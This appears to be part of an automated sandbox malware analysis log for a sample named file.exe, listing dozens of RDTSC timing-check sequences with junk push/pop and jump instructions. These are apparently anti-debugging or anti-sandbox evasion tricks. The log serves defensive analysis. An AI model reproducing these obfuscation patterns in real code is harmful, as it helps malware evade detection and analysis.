Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F08BA second address: 5F08C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 ja 00007FF398EAF4C6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F08C8 second address: 5F08CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1153 second address: 5F1190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF398EAF4CCh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jmp 00007FF398EAF4D7h 0x00000011 pushad 0x00000012 jmp 00007FF398EAF4CEh 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F19B8 second address: 5F19BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F584F second address: 5F586E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF398EAF4D6h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F59F0 second address: 5F59FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F59FA second address: 5F5A00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5A00 second address: 5F5A04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5A04 second address: 5F5A0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5D07 second address: 5F5D24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007FF399017D76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FF399017D7Ch 0x00000011 pop ecx 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5D24 second address: 5F5D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF398EAF4C6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007FF398EAF4C6h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5D3B second address: 5F5D54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D85h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5EA2 second address: 5F5EA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5EA8 second address: 5F5EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F601B second address: 5F602F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4CEh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F602F second address: 5F6035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6035 second address: 5F6039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F6039 second address: 5F603F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605233 second address: 60523D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF398EAF4C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60523D second address: 605243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605243 second address: 605276 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4D7h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FF398EAF4D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60357C second address: 603580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6039A3 second address: 6039A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6039A7 second address: 6039AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6039AF second address: 6039B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6039B6 second address: 6039BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6039BC second address: 6039C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6039C5 second address: 6039D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF399017D80h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603F24 second address: 603F4C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF398EAF4C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FF398EAF4E2h 0x00000010 jmp 00007FF398EAF4D6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603F4C second address: 603F55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603F55 second address: 603F5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6040D8 second address: 6040ED instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF399017D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop ecx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6040ED second address: 6040F7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF398EAF4C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6040F7 second address: 604104 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007FF399017D76h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615C45 second address: 615C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615C4A second address: 615C56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FF399017D76h 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615C56 second address: 615C5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615DF0 second address: 615E24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007FF399017D76h 0x00000013 jmp 00007FF399017D82h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615E24 second address: 615E28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615E28 second address: 615E2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618C6E second address: 618C78 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF398EAF4C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618C78 second address: 618C82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618C82 second address: 618C94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF398EAF4CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 618C94 second address: 618CB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jno 00007FF399017D76h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6204B0 second address: 6204BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6204BC second address: 6204D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF399017D86h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630BD0 second address: 630BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630BD4 second address: 630BEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D82h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F7B1 second address: 62F7B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F7B7 second address: 62F7DC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF399017D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FF399017D85h 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F7DC second address: 62F7E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F7E0 second address: 62F7E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F960 second address: 62F974 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F974 second address: 62F98B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D81h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F98B second address: 62F98F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F98F second address: 62F9B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 js 00007FF399017D7Ah 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push edx 0x00000012 pop edx 0x00000013 pushad 0x00000014 jmp 00007FF399017D80h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632208 second address: 632219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007FF398EAF4C6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632219 second address: 632226 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF399017D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632226 second address: 63222C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 635E24 second address: 635E31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007FF399017D76h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 635E31 second address: 635E37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FD79 second address: 63FD7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FD7F second address: 63FD99 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF398EAF4C6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 jng 00007FF398EAF4C6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FD99 second address: 63FDD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF399017D80h 0x00000007 jg 00007FF399017D76h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 jg 00007FF399017D76h 0x00000016 jmp 00007FF399017D86h 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FDD1 second address: 63FDD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63FDD7 second address: 63FDDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643F1B second address: 643F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643F1F second address: 643F57 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF399017D76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007FF399017D83h 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a je 00007FF399017D76h 0x00000020 jmp 00007FF399017D7Ah 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643F57 second address: 643F5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643F5B second address: 643F71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FF399017D76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FF399017D7Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643F71 second address: 643F90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF398EAF4D5h 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007FF398EAF4C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A976 second address: 64A97C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A97C second address: 64A986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF398EAF4C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 648795 second address: 648799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 648799 second address: 64879D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64879D second address: 6487BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF399017D7Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007FF399017D7Ah 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 pop esi 0x00000016 push edi 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65735D second address: 657361 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657361 second address: 657367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657367 second address: 657373 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF398EAF4CEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657373 second address: 657381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF399017D7Eh 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65A137 second address: 65A159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jnc 00007FF398EAF4DDh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C1D3 second address: 66C223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jng 00007FF399017D76h 0x0000000c jmp 00007FF399017D88h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 jmp 00007FF399017D88h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d jmp 00007FF399017D7Bh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C223 second address: 66C229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C229 second address: 66C22E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C22E second address: 66C25A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FF398EAF4D9h 0x00000008 jmp 00007FF398EAF4CBh 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C25A second address: 66C260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6702E6 second address: 6702EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 670607 second address: 67061F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF399017D84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67061F second address: 67062B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jp 00007FF398EAF4C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67062B second address: 670679 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF399017D84h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d jnp 00007FF399017D76h 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF399017D81h 0x0000001b jmp 00007FF399017D89h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 670679 second address: 67067F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6709B8 second address: 6709BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6709BC second address: 6709C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FF398EAF4C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6739A2 second address: 6739A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6739A6 second address: 6739AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6739AA second address: 6739CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF399017D83h 0x0000000b popad 0x0000000c push eax 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673A3E second address: 673A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673A42 second address: 673A46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673A46 second address: 673A4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673A4C second address: 673AC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FF399017D80h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007FF399017D78h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a push 00000004h 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007FF399017D78h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 00000017h 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 mov edx, dword ptr [ebp+122D2968h] 0x0000004c push 69326B10h 0x00000051 pushad 0x00000052 push edi 0x00000053 pushad 0x00000054 popad 0x00000055 pop edi 0x00000056 jc 00007FF399017D7Ch 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674FD0 second address: 674FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF398EAF4D1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
